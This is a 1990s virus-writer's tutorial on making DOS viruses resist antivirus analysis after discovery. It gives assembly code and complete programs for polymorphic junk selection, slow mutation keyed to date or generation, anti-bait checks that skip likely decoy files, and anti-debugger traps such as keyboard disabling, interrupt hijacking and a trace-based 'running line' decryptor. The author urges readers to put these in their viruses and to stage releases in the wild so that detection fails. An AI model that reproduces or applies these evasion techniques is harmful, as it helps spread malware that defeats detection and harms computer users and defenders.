POST - DISCOVERY - STRATEGIES
By Sepultura
-USE-ANARCHY-TO-GET-WHAT-YOU-WANT-
Introduction
Most virii these days, take many Pre-Discovery precautions. This
simply means that they take precautions to avoid discovery, assuming the
virus has not already been discovered. Common examples of Pre-Discovery
Stratagies are File Stealth, Sector Stealth, and MCB stealth (i.e any
stealth). These mechanisms are used to stop the virus being discovered,
but once it has been discovered, and is in the hands of the AV, they're
essentially useless. It is only a matter of days (or even hours) until a
suitable scan string or algorithm has been determined, for inclusion in
to there AV programs.
There is how ever, a solution: POST DISCOVERY STRATEGIES. These
are mechanisms that instead of serving the purpose of hiding the virus
from detection, make the virus harder to analyse, and hence determine a
scan string or detection algorithm. To be entirely honest, the previous
statement is not completely correct - in order to take advantage of any
of these methods your virus can not have a scan string - without atleast
polymorphism, Post Discovery Strategies ARE USELESS. This document will
be divided in to three main sections: Polymorphism
Anti-Bait Techniques
Anti-Debugger Techniques.
I have decided to do it in that particular order, as it follows
my master scheme, which in my opinion takes maximum advantage of Post
Discovery Strategies, and which I will outline throughout this document.
I have supplied example code fragments throughout this document,
several full programs in the Anti - Debugger section, as well as a bait
maker in the Anti-Bait section, so you can test your Anti-Bait routines.
Polymorphism
-I-USED-THE-ENEMY-I-USED-ANARCHY-
This section is not intended to tell you what a polymorphic
engine is, nor will it tell you how to code one. If you do not know
either of these, you should read this when you do, or alternatively you
could read this, and take the explained methods in to account when you
do code one.
The thing you have to remember is that the AV people need to
devise an alogrithm that will detect near to 100% of their samples, but
at the same time, have only a small number of false positives. Your job,
is ofcourse, to stop them from doing this.
Polymorphism: The Obvious
One of the most obvious things that would you help in your Post
Discovery Strategies, is to make the decryptors and junk as varied as is
possible. This way, they cannot use an algorithm that traces through the
code, and concludes that the file is not infected, as soon as an opcode
is encounted that can't be generated by your engine. What might not seem
to obvious, is that although your engine should be able to CREATE a wide
variety of junk instructions, it should not USE a wide variety of junk
instructions in each decryptor. This might seem strange, but it can be
very useful in delaying the AV's efforts. This is because there are two
methods that the AV will use to analyse your engine:
1. They will disassemble the virus and analyse the engine, to see
what it can generate in all possible cases.
2. They will infect 10s of thousands of bait files to see what it
generates in all possible cases.
The first of these can be countered by keeping the actual engine
encrypted, independently of the virus, and then keeping the decryptor
protected - using the methods outlined in Section 3 (Anti - Debugger
Techniques).
The second method can be countered using the techniques that
will be discussed in this section (Polymorphism), and Section 2 (Anti -
Bait Techniques).
By using only a very small variety of the large number of junk
instructions that your engine can generate, when the AV people look at
the sample bait files, they will only see a small selection of the junk
that your virus can really create. Because your polymorphic engine is so
heavily encrypted / armoured, they will not have time to disassemble it,
and will have to make their judgements based on the bait files. However,
since the decryptors will only have a limited selection of all possible
cases, they could easilly make the mistake of basing their algorithm on
just those decryptors, and release an incomplete algorithm. Of course
they will not realise their mistake until it is to late. Let us look at
the following code as an example:
------------------------------------------------------------------------
;Please note that this is simply a code fragment. junk? are supposed to
;be sub-procedures that create different junk opcodes, while get_rand is
;supposed to be a sub-procedure that returns a random number in AX
;between 0 and AX. It is assumed that ES = DS = CS.
choose_junk_routines:
mov cx,5 ;This code should be run only once
mov ax,0Ah ;when the virus installs it self T.
call get_rand ;It will select 5 out of 15 junk
add ax,ax ;routines to call for the decrypto.
xchg si,ax ;Because it is only run once, all
add si,offset main_junk_tbl ;decryptors will only use those ju
mov di,offset junk_tbl ;routines 'til the system is rebood
rep movsw ;and the virus re-installed.
...
main_junk_tbl: ;This is a table, listing all
dw offset junk0 ;possible junk routines.
dw offset junk1
dw offset junk2
dw offset junk3
dw offset junk4
dw offset junk5
dw offset junk6
dw offset junk7
dw offset junk8
dw offset junk9
dw offset junkA
dw offset junkB
dw offset junkC
dw offset junkD
dw offset junkE
junk_tbl: ;This is a table, to store the 5 jk
dw 0,0,0,0,0 ;routines to actually be used.
...
put_junk:
mov ax,4 ;This routine when, called will
call get_rand ;generate 1 junk instruction.
add ax,ax ;It will call 1 of the 5 routines
xchg si,ax ;stored in junk_tbl.
lodsw
call ax
ret
------------------------------------------------------------------------
The above code fragment, will ensure that all files infected in
any 1 session, will only use 5 out of the 15 possible junk instructions.
Polymorphism: Slow Mutation
The above techniques work well, but can be even more effective,
when used in conjucntion with slow mutation. Slow Mutation basically
means that instead of making certain descisions based on random numbers,
you make the descisions based on relatively static values. The most
common values used for this, are from the date (i.e. the month or day of
the month). For example, let us imagine that the sub - procedure
'choose_junk_routines' in the previous example, was replaced with this:
------------------------------------------------------------------------
choose_junk_routines:
mov ah,2a ;ah=2a/i21 (get system date)
int 21
mov dl,0
xchg dh,dl
xchg dx,ax
cwd ;ax=month, dx=0
mov cx,6
div cx ;divide month by 6
xchg dx,ax ;ax = remainder (i.e. 0 - 5)
add ax,ax
xchg si,ax
add si,offset main_junk_tbl
mov di,offset junk_tbl
mov cx,5
rep movsw
------------------------------------------------------------------------
The advantage of using this method, is that the same set of five
junk routines will be used for a ENTIRE MONTH. With the previous example
if the AV was to make some bait files, and look at them, and think that
your virus only generated five different junk instructions, and then ran
the bait maker again, another time, after resetting the system, he/she
would get bait file with (probably) a different set of junk instructions
in the decryptor. Because of this, he/she would probably catch on. This
is important to note, because they will have to make a set of bait files
to devise the algorithm, and then at least another set to test it. If
you based the 5 instructions on the month, and armoured the choose_junk_
routines procedure, then they would get the same 5 instructions, because
they would be all produced in the same month, and would not easily catch
on. Other things you should base upon slow mutation techniques include
things such as what registers to use, the looping method, the encrypt/
decrypt method, and the length of the decryptor. This way, they have to
reboot the computer each time, and set a new date, to see all possible
combinations. Consisdering there are thousands of bait file to be made,
this also means that there are thousands of resets to be done!
Another thing you could base slow mutation descisions on, is a
generation counter. This is very effective, because if the AV runs an
infected file, and then because the virus is TSR in memory, runs the
bait creator, to create some infected samples, all the infected samples,
will be of the same generation. Even if the AV people think of changing
the date, the fact that the virus changes some aspects of itself on each
generation, will not be so obvious. This is especially true if the virus
makes the changes on, say every fourth generation, instead of each and
every generation. For example:
------------------------------------------------------------------------
inc cs:word ptr generation ;This should be run once,
;at installation.
...
;This sub-procedure will choose what method to use to decrement the
;count register. It will choose one of the 8 possible procedures to
;call from the "decrement_tbl" table. Instead of choosing a method at
;random, it divdes the generation by 8, and then takes the modulos of
;(GENERATION / 8) / 8, to choose which procedure to use. In short, the
;decrement method will only change every 8th generation. The AV do not
;spend enough time to see all possible methods, as they would have to
;look at 64 different generations. They will most likely look at only
;one or two.
choose_decrement_method:
mov ax,0
generation equ $-2 ;Generation counter starts at 0
shr ax,3 ;Divide Generation count by 8
and ax,7 ;get number between 0 and 7
add ax,ax
xchg si,ax
add si,offset decrement_tbl
lodsw
call ax
ret
...
decrement_tbl: ;this is supposed to be a table of
dw offset code_dec_reg ;all the possible procedures you c
dw offset code_sub_reg_1 ;use to decrement the count regist.
dw offset code_add_reg_negative_1
dw offset code_clc_sbb_reg_1
dw offset code_stc_sbb_reg_0
dw offset code_clc_adc_reg_negative_1
dw offset code_stc_adc_reg_negative_2
dw offset code_inc_dec_dec_reg
------------------------------------------------------------------------
Of course, you do not have to base something as trivial as the
method of decrement on the generation counter, and could instead base
something more important like the actual method of decryption on it.
Also, if you wanted to be really sly (and I know you do), you
could use the above method, but then release the virus in the wild, with
its generation counter set to something like 16. This way, no one will
see the first 2 methods, until the generation counter has carried over.
About a week after releasing it, you could release it somewhere else, so
that the AV people will get the first specimen, and their algorithm will
be missing the first two methods, while the second infection you release
can have the counter set to 0, so that the decryptors using the first
two methods will be in the wild, and will spread, before the AV realise
their mistake.
Another thing you could base your slow poly on, is the file you
are infecting. For example, let us imagine you based the above example
on the SIZE of the file to be infected, divided by 1000, rather then the
GENERATION divided by 8. Since the bait files will be of the same or
similar size, little to no change will be seen. If a different file of a
different size was infected however, you would have a totally different
decryptor!
Polymorphism: Make No Two Conditions Dependant
One of the biggest mistakes you could make when coding an engine
is making two conditions dependant on the same thing. For example let us
imagine that you made both the index register used, and the decryption
method used dependant on the month. This could possibly mean, that when
XOR encryption is used, you can guarantee BX is the index register, and
when ADD is used SI will be the index register. This way, all they have
to do is check for a XOR [SI],?? instruction or a ADD [BX],??. If you
made this mistake, and had four index registers, and four decryption
methods, the scanner need only to check for four possible instructions.
However, if these were decided on totally independant criteria, they
would have to check for 16 different instructions, increasing the chance
of false positives. For another example, let us look at the following:
------------------------------------------------------------------------
code_jmp: mov ax,3f ;this code will generate a random
call get_rand ;conditional jump, to a random offt
mov ah,al ;between 0 adn 3f bytes from the
or al,70 ;jump. Note that the conditional
stosw ;jumps are 70h -> 7fh.
------------------------------------------------------------------------
The above example will always generate, a working, conditional
jump. It does however have a fairly obvious flaw. If the jump opcode is
70h then the offset of the jump will be 0, 10h, 20h, or 30h. If the jump
opcode is 70h then the offset of the jump will be 1, 11h, 21h, or 31h.
This will remain true for all of 70h to 7fh. This is very dangerous, as
a scanner could something like this in its algorithm:
------------------------------------------------------------------------
;This code fragment, is assumed to be part of a scanner that is tracing
;through the code it scans. It is assumed that DS:SI points to the current
;instruction being processed.
lodsw
cmp al,70
jb not_cond_jmp
cmp al,7f ;checks if we are dealing with a
ja not_cond_jmp ;conditional jump.
and ax,0f0f ;If the jump was generated with th
cmp al,ah ;above example, AL will always = A
jne file_not_infected
not_cond_jmp: <DO THE NEXT CHECK>
------------------------------------------------------------------------
As you can see, if many things are dependant on each other, an
algorithm could be used that uses techniques like the above, and if all
rules are followed, safely assume the file was infected. To avoid the
above check, the conditional jump coder should be something like this:
------------------------------------------------------------------------
mov ax,3f
call get_rand
mov bl,al
mov al,0f
call get_rand
or al,70
mov ah,bl
stosw
------------------------------------------------------------------------
As you can see, in the above example, the offset of the jump is
totally independant of the jumps opcode. This will make the detection
algorithm alot harder to devise.
Anti-Bait Techniques
-HATE-YOUR-ENEMIES-
By using the methods explained in the previous section, we can
safely say that the AV can not simply set the bait maker to generate
10,000 bait files, with the virus in memory, and get an accurate and
complete of what is necessary. Instead they must use many varying files,
reboot the system thousands of times to change the date, and fiddle with
the generation counter, which will significantly slow things down. But
let us take things a step further: let us imagine that the virus won't
even infect the files in the first place. This would simply involve
putting the candidate file through a number of tests, and if it fails
any of them, saying the file could be a bait, and not infecting them.
This section simply looks at what some of these test could entail.
Anti-Bait Techniques: The Obvious
The are two very obvious and easy test your virus _SHOULD_ have:
1. It should not infect new files.
2. It should not infect small files.
New files should not be infected, as the files created by a bait
maker will usually look new. Simply grab the current date, and compare
it to the date stamp of the file. It is the same? Well then dont infect!
It should be noted that this is easilly defeated, if the bait maker sets
the files date stamp to a random date, before closing it.
The files created by bait makers, will usually be fairly small,
so small files should be avoided. I would recommend that you avoid files
smaller then between 5,000 and 10,000 bytes. The smaller you make this
limit, the less chance there is that a legitimate file will be wrongly
be left uninfected, but it is also more likely that a bad bait file will
wrongly be infected. By making the limit larger, the greater the chance
there is that a legitimate file will be wrongly be left uninfected, but
its also more likely that a bait file will correctly be left uninfected.
High limit or Low limit? The choice is yours... This could easilly be
defeated if the bait maker created files which were, say, 50,000 bytes.
This size is obviously far to large to avoid, as it is larger then many
legitimate programs. You should also remember however that 10,240 files
at 5,000 bytes will use 52 megabytes, so if the bait files were 50,000
bytes long, this figure would go upto 520 megabytes! Most test computers
do not have such lard hard drives, so it is safe to assume that the bait
files will be small.
As the above two methods are so easy to implement, I will not
bother to supply any example code.
Anti-Bait Techniques: Avoid Digital File Names
Most bait makers create filenames like '00000000.com' followed
by '00000001.com'. All the file are names composed of the characters '0'
to '9'. We could have a check in our virus, to ensure that this is not
true, and if it is, not infect the file, as shown below:
------------------------------------------------------------------------
;This code avoids file names composed entirely of digits. It is assumed
;that the file has already been opened, and that its file handle is in
;BX. get_sft_bx is assumed to be a sub-procedure that returns ES:DI pointi
;to the SFT entry of the handle in BX (the file to be infected).
call get_sft_bx
mov si,di
add si,20 ;File names in at offset 20h of SFT
mov cx,8 ;8 characters in name (padded with spaces)
cld ;increment SI on LODSB
check_name:
es:lodsb
cmp al,'0'
jb name_safe
cmp al,'9'
ja name_safe ;character is not digit, so it is safe
cmp al,20 ;check for space if equal, end of name has
je not_safe ;been reached, with only digits encounters
;which means it is possibly bait.
loop check_name ;check next character
not_safe:
jmp exit_infect ;end of name reached with only digits so
;do not infect
name_safe:
<DO NEXT BAIT CHECK or CONTINUE WITH INFECTION>
------------------------------------------------------------------------
This method could easilly be defeated by using file names like
'AAAAAAAA.COM' instead of '00000000.com'.
Anti-Bait Techniques: Avoid Consecutive File Names
Many people consider this method overkill, but it is extremely
effective, if you are serious about your Post-Discovery-Strategies. It
works by checking if the currents file to be infected, has a consecutive
file name of the previous filename. For example, if the previous file to
be infected was called 'AAAAAAAA.COM' you would not infect the next file
if it was called 'AAAAAAAB.COM'. The easiest way to do this, is save the
sum of the characters of the file name. If the next file is consecutive
to it, the sum will be the sum of the previous one + 1. i.e:
'AAAAAAAA' = 'A' + 'A' + 'A' + 'A' + 'A' + 'A' + 'A' + 'A'
= 208h
'AAAAAAAB' = 'A' + 'A' + 'A' + 'A' + 'A' + 'A' + 'A' + 'B'
= 209h
Therefore, of the filename of your candidate file, and use it to
check if the next file to be infected is consecutive. If it is do not
infect! Example:
------------------------------------------------------------------------
;This code avoids infecting files with consecutive filenames. It is assume
;that the file has already been opened, and that its file handle is in
;BX. get_sft_bx is assumed to be a sub-procedure that returns ES:DI pointi
;to the SFT entry of the handle in BX (the file to be infected).
call get_sft_bx
mov si,di
add si,20 ;File names in at offset 20h of SFT
mov cx,8 ;8 characters in name (padded with spaces)
cld ;increment SI on LODSB
xor bx,bx
mov ah,0
check_consecutive:
es:lodsb
cmp al,20 ;check for space
je end_cc ;if space, end of name rached
add bx,ax ;add character to sum
loop check_consecutive
end_cc: mov ax,cs:last_sum ;the sum of the last filename
mov cs:last_sum,bx ;save the sum of this file name for next te
inc ax
cmp ax,bx
je dont_infect
<DO NEXT BAIT CHECK or CONTINUE WITH INFECTION>
------------------------------------------------------------------------
The above code is fairly lengthy, and messy, but it works! You
should also not infect a file, if it is the same length as the previous
file, for obvious reasons. This code could by defeated by incrementing
filename by values other then 1, or even by incrementing it by a RANDOM
amount each time.
To help you test your Anti-Bait code, I have put together a Bait
Generator (Sepultura's Funky Bait Maker), which can be modified to show
how each of the above methods are defeated. Here is the complete source:
------------------------------------------------------------------------
;SFBM.ASM compile with A86
;This is a bait maker that in its original state, will fail to defeat all
;of the above mentioned techniques. However, by making the modifications
;described through out the code, all of the above techniques will fail
;miserably.
;By changing the Below EQUates, and (un)commenting certain code below, you
;can test the various technique described above, as well as any other Anti
;Bait Technique you think off..
number_of_files equ 200 ;number of bait files to genrate
file_length equ 5000 ;length of bait file. Change this
;catchout virii that do not infect
;small files. (minimum 38, maximum
;65,279).
first_character equ '0' ;Changing these two equates to 'A'o
last_character equ '9' ;'Z' will fool virii that check if
;the filename is entirely numbers.
character_range equ (last_character - first_character)+1 ;This is used
;to calculate the
;filename..
radix 16
org 100
mov ds,cs
mov ah,9
mov dx,offset gen_msg ;prints intro message..
int 21
mov cx,number_of_files ;200 bait files
file_loop:
push cx
mov dx,offset filename
xor cx,cx
mov ax,3c02 ;CREATE/TRUNCATE "filename"
int 21
mov bx,ax ;BX = Handle. I used a MOV, so
;AH stays = to 0
mov dx,offset bait
mov cx,file_length ;file is 5000 bytes long
;Uncomment the IN, and ADD below, so the length of the bait become
;between FILE_LENGTH and (FILE_LENGTH + 255). This is to catchout
;virii that wont infect a file if its the same size as the last fi.
;in al,40
;add cx,ax
mov ah,40 ;Write Bait Program to file..
int 21
;Uncommenting the below CALL, will cause SFBM to set each file
;to a random date, before closing, avoiding virii which dont
;infect new files.
;call set_date
pop cx
mov ah,3e ;Closes the file..
int 21
push ds
mov ax,4b00 ;This calls a execute of "filename
;i have set up no parameter tables
;so it will not actually execute, t
;the virus will intercept and infe.
mov dx,offset filename
int 21
pop ds
mov ah,9
mov dx,offset done ;prints:
int 21 ;DONE: XXXXXXXX.COM
std
mov si,offset units
mov di,si
next_character:
mov dl,1 ;Add 1 to file name characters.
;(00000000 -> 00000001) etc..
;Uncommenting the code below, will cause SFBM to add between
;2 and 5 to the file name characters. This will avoid virii that
;check for consecutive file names, as they are not incrementing by
;1 each time.
;cmp si,offset units ;Are we modifying a character othe
;jne not_unit ;If not, only add 1 to the charact
;in al,40
;and al,3 ;Choose amount between 2 and 5 to
;add dl,al ;add..
;inc dx
not_unit:
lodsb
add al,dl ;Calculate Next File Name (increme)
cmp al,last_character + 1 ;Has it overflowed past
jb no_more_increase ;last_character? If not continue..
sub al,character_range ;else bring it back into range,
ds:stosb
jmp short next_character ;increment next char, and check fo
;overflow...
no_more_increase:
ds:stosb
loop file_loop ;Do Next File (CX times)
mov ah,4c
int 21
set_date: ;Sub Procedure gives file random Date & Ti.
in ax,40 ;calculates the Year for Date stamp
and ax,0f
xchg dx,ax
shl dx,9
get_month: ;calculates the Month for Date stamp
in ax,40
and ax,0f
cmp ax,0c
ja get_month
or ax,ax
jz get_month
shl ax,5
or dx,ax
get_date: ;calculates the Day of Month for Date stam
in ax,40
and ax,1f
or ax,ax
jz get_date
or dx,ax ;DX = DATE
get_secs: ;calculates seconds of the Time Stamp
in ax,40
and ax,1f
cmp ax,1d
ja get_secs
xchg cx,ax
get_minuits: ;calculates minuits of the Time Stamp
in ax,40
and ax,3f
cmp ax,3b
ja get_minuits
shl ax,5
or cx,ax
get_hours: ;calculates hours of the Time Stamp
in ax,40
and ax,1f
cmp ax,17
ja get_hours
shl ax,0b
or cx,ax ;CX = TIME
mov ax,5701 ;set DATE/TIME stamp
int 21
ret
gen_msg db "- Sepulturas Funky Bait Maker -",0a,0d
db "Generating Funky Bait Files...",0a,0d,"$"
done db "DONE: "
filename db 7 dup (first_character)
units db first_character
db ".COM"
db 0,0d
db "$"
;This is the .COM program that will be at the start of each Bait file.
;It is 38 bytes long. The rest of the file will just be padded with
;garbage from memory.
bait: call bait_b
db 'Sepulturas Funky Bait File!$'
bait_b: pop dx ;DX = offset of bait message
mov ah,9
int 21 ;print message
int 20 ;exit
;END SFBM.ASM
------------------------------------------------------------------------
The above Bait Maker can be very useful, to test your Anti-Bait
techniques. It is also quite useful, for its orginal purpose - analysing
virii. Use it for either - AV - VX - they're all the same to me.
Anti-Debugger Techniques
-THE-MASTER-HIDES-BEHIND-THE-MASK-
Ok, now the AV can not even get your virus to infect their bait
files, and if they do finally manage, they will have great problems in
getting a complete, accurate view of what they are dealing with. There
is two things they can do:
1. Disassemble your Anti-Bait code, and create a Bait maker to fool it.
2. Disassemble your Polymorphic engine, and work out what to look for.
Both of the above can be defeated by using Anti-Debugger
Techniques. The first is defeated by keeping your Anti - Bait routines
encrypted, and heavilly armoured, to prevent disassembly. The second can
be defeated by using the same methods on your polymorphic engine. This
section has been designed to tell you how to do it.
Anti-Debugger Techniques: The Obvious
There are many simple and trivial ways to thwart debuggers. This
document will deal mainly with more advanced methods. The simple methods
outlined in this section can be seen in the code example of "Using Your
Anti-Debug Routines as the Decryption Key", later on in this document.
Perhaps the most obvious way to kill a debugger, is to overwrite
the Interrupt Vector of Interrupts 1 (Debug Single Step), and 3 (Debug
Break Point). This can be defeated by simply skipping the instructions.
Another thing you could do, is place an INT 3 in a long loop, which will
cause the debugger to stop at the INT 3 each iteration, which will stop
the AV from simply proceeding through the loop. This is very easilly
defeated by NOP'ing out the INT 3.
Another thing to do, is turn of the keyboard. There are manyways
to do this, but the simplest is: IN AL,20h ;Turn of Keyboard IRQ
OR AL,02
OUT AL,20
<virus code>
IN AL,20 ;Enable Keyboard IRQ
AND AL,NOT 2
OUT AL,20
Anti-Debugger Techniques: Interrupt Replacement
This technique involves replacing the vector of a INTERRUPT 1/3
with the interrupt off another interrupt, and calling that instead. This
works especially well with INT 3, as it is only 1 byte long, and can not
simply be replaced with the proper Interrupt. Here is an example of INT
replacement from the virus [H8urNMEs]. It changes INT 3 to point to the
tunneled INT 21, and calls INT 3 for all DOS requests:
------------------------------------------------------------------------
mov ax,3503
int 21
mov int_3_seg,es
mov int_3_off,bx
lds dx, site_traced_off
mov ax,2503
int 21
mov ds,cs
mov ax,3524
int 3
mov int_24_seg,es
mov int_24_off,bx
------------------------------------------------------------------------
It simply makes INT 3 point to DOS, and uses this fact to fetch
the INT 24 vector.
Anti-Debugger Techniques: INT 1 Tracing Destroys the Stack
When tracing through code, with INT 1, the 6 bytes below SP are
overwritten with the pushed returnig IP, CS, and Flags. There are 2 ways
to take advantage of this fact. The first is to PUSH a value on to the
stack, POP it, and then adjust SP and POP it again to see if it changes.
If it has, the code has been traced. Here is an example:
------------------------------------------------------------------------
PUSH AX
POP AX
DEC SP
DEC SP
POP BX ;BX should point to the pushed AX.
CMP AX,BX
JNE CODE_IS_TRACED
------------------------------------------------------------------------
The second way is to store a critigal value like a Decryption
key in SP. This value should also point to the code, and you should NOT
use any stack operations. This way, if a debugger is running, the code
that SP points to will be overwritten. Here is a complete program to
illustrate it. To make it run properly, you must have to encrypt it. I
will not how you how.. If you can not work it out you should not even be
reading this. It also has the added advantage of avoiding the TBAV '#'
(decryptor) flag. Any way here it is:
------------------------------------------------------------------------
;STACK.ASM
radix 16
elength equ (end - estart)/2
org 100
mov bp,sp
cli
mov sp,estart
sti
mov bx,sp
mov cx,elength
eloop: xor cs:[bx],sp ;SP is decryption key.
inc bx
inc bx ;If a Debugger is running,
cli ;All the code after ESTART will be
add sp,6 ;overwritten.
sti
loop eloop
estart:
cli
mov sp,bp
sti
mov ah,9
mov dx,offset msg - 12
add dx,12
int 21
mov ah,4c
int 21
msg db 'Yeah!!$'
end:
------------------------------------------------------------------------
Anti-Debugger Techniques: Use Your Anti-Debug Routines as
The Decrypt Key
This is a lot easier to do then it sounds. Basically, all you have
to do is retreive a byte from the Anti - Debugger routines each time, and
use it to modify your decryption routine in some manor. Of course the code
you are decrypting must have been encrypted in a corresponding manner! Any
way, here is a code fragment example:
------------------------------------------------------------------------
;This code LODSBs a byte from the Anti-Debug routine, on each iteration,
;and ADDs it to the XOR key. Because of this the AV can not simply NOP
;out the INT 3, and other traps in the Anti-Debug routine which is called
;on each iteration! DEC_START is assumed to be the offset of the start of
;the encrypted code, while DEC_LENGTH is the number of bytes to decrypt.
mov dl,0aa ;initial key.
decrypt: mov di,offset dec_start
mov cx,dec_length
mov si,offset decrypt ;offset of code to use
;to modify decryption key.
dec_loop: lodsb ;AL=byte from anti-debug
;routines
add dl,al ;MODIFY KEY. If code has been
;modified, the key will be
;wrong.
xor [di],dl ;decrypt
inc di
call anti_debug ;kill debuggers.
;this call cant be NOP'd out,
;as it is part of the Decrypt
;key.
cmp si,offset end_ad ;if SI has reached end of
jne no_fix ;anti-debug code, reset it.
mov si,offset decrypt
no_fix: loop dec_loop
jmp dec_start ;JMP past Anti_Debug to
;the newly decrypted code..
Anti_Debug: in al,20 ;get IRQ status.
or al,2 ;Disable IRQ 1 (keyboard)
out 20,al
int 3 ;stop the debugger on each loop (you cant
int 3 ;NOP these out!), note that when the debugger
;stops here, the keyboard will be disabled,
;so the can't do any thing!
push ax
push ds
xor ax,ax
mov ds,ax
xchg ax,[4] ;Kill INT 1
int 3 ;Fuck with their heads
xchg ax,[4] ;restore INT 1
pop ds
mov ax,offset ad_jmp ;destination of JMP
push ax
pop ax
dec ax
dec ax ;if this code was traced, AX will no longer
pop ax ;be equal to the JMP destination
jmp ax
pop ax
ret
(BELOW CODE IS ENCRYPTED)
dec_start: in al,20
and al,NOT 2
out 20,al ;Re-Enable Key board..
<REST OF VIRUS CODE>
------------------------------------------------------------------------
Anti-Debugger Techniques: The Running Line
The last method, I am going to illustrate, is called the Running
Line. It is VERY resistant to debuggers. It involves hooking INT 1, and
Decrypting each instruction _JUST BEFORE_ it's run, and Re-Encrypting it
_STRAIGH AFTER_ it has been executed. This way, only _1_ instruction at
a time is decrypted in memory. Here is a fully working example.
------------------------------------------------------------------------
;RUNLINE.ASM
radix 16
org 100
xor ax,ax ;ax=0
mov es,ax ;es=ax=0
mov di,es:W[4]
mov si,es:W[6] ;save int 1 vector
mov es:W[4],offset tracer
mov es:W[6],cs ;int1 = cs:tracer
mov bp,sp
pushf
or B[bp-1],1 ;set TRACE flag
popf ;set it
xor dx,dx ;this serves no purpose, and
;is just here because the first
;instruction after setting the
;flag is not traced.
;**********************************************************************
;** The below data, is the Encrypted instructions. The INT 1 handler **
;** only decrypts instruction on WORD (EVEN) boundaries. It XORs the **
;** instruction (WORD) with its offset in CS (ie. it's IP when it's **
;** run). Thats why each word is XOR'd with $ (it's position). **
;**********************************************************************
dw 01f0e XOR $ ;PUSH CS / POP DS
dw 009b4 XOR $ ;MOV AH,9h
dw 0ba90 XOR $ ;NOP / MOV DX,
dw offset msg ;offset msg
dw 021cd XOR $ ;INT 21h
dw 0e589 XOR $ ;MOV BP,SP
dw 06680 XOR $ ;AND B[BP+,
dw 0feff ;FF],FE (turn off TRACE flag).
last_enc equ $
dw 0bb9d XOR $ ;POPF / MOV BX,
dw last_enc ;LAST_ENC
xor cs:W[bx],bx ;re-encrypt last instruction..
mov es:W[4],di
mov es:W[6],si ;restore int 1 vector
mov ah,4c
int 21
;**********************************************************************
;THINGS TO NOTE FROM THE ABOVE: Firstly, in the instructions
; NOP
; MOV DX,OFFSET MSG
;the MOV DX opcode is on an odd boundary, and hence, the decryptor will
;not decrypt it. Secondly the 'DW OFFSET MSG' in MOV DX,OFFSET MSG
;is not encrypted, because it it is data from another instruction, and
;therefore it will never be executed, and passed to the INT 1 handler.
;The same goes for the +FF(-1),FE in the AND B[BP-1],FE.
;**********************************************************************
;** The following procedure, is the work horse of this code. The CPU **
;** will call this INT 1 handler before each opcode as long as the **
;** TRACE flag is set. Unlike most INT 1 handlers that you'll see in **
;** virii, this contains no defensive traps. This is because we are **
;** tracing our own code, and not unknown (possibly hostile) code. **
;** It retrieves the calling IP from the stack, and if it is odd, **
;** exits. If even, it will re-encrypt the previous instruction, and **
;** decrypt the current one. It saves the calling IP, so that it can **
;** re-encrypt it when it is called for the next instruction. **
;**********************************************************************
tracer:
push bp ;save BP
mov bp,sp ;BP=SP for reference point of stack.
push si ;save SI
mov bp,W[bp+2] ;BP = calling IP (position of
;encrypted instruction).
test bp,1 ;check if on an odd boundry..
jnz is_odd ;it is so leave.
mov si,cs:last ;else get the position of the last
;decrypted instruction to reincrypt.
mov cs:last,bp ;save current position for next time.
xor cs:W[si],si ;re-encrypt last (XOR it with its IP)
xor cs:W[bp],bp ;decrypt current (XOR it with its IP)
is_odd:
pop si ;restore SI
pop bp ;restore BP
iret ;adeos!
last dw 0 ;last IP for re-encrpytion..
msg db 'Yeah!!$' ;EVERYBODY SAY YEAH!!!!
------------------------------------------------------------------------
CONCLUSION
-TAUGHT-WHEN-WE-ARE-YOUNG-TO-HATE-ONE-ANOTHER-
I STRONGLY urge you to employ the above techniques in your virii
and/or poly engine. If your virus refuses to infect bait files, is VERY
heavilly armoured, so the can not decrypt it, and dissasemble it, and
mutates so slowly, and on such obscure conditions, HOW ARE THEY GOING TO
IT? Devising an algorith for such a virus would be _VERY_ difficult.
BYE -- BYE
Thank you reading this article. I hope it's been as interesting
to read as it has been to write!! Hopefully, we will be seeing the AV
having to work _ALOT_ harder for their money too ;). Alternitively, this
could be some help to the AV community, so they can see what lies ahead.
If you have any questions, comments, critisms, or new ideas, you
can get in touch with me on IRC, channel #VIRUS, Nickname 'Sepultura' or
'Sep'. I would really appreciate _ANY_ comments (excpet 'Get Bent!!').
- THE - END -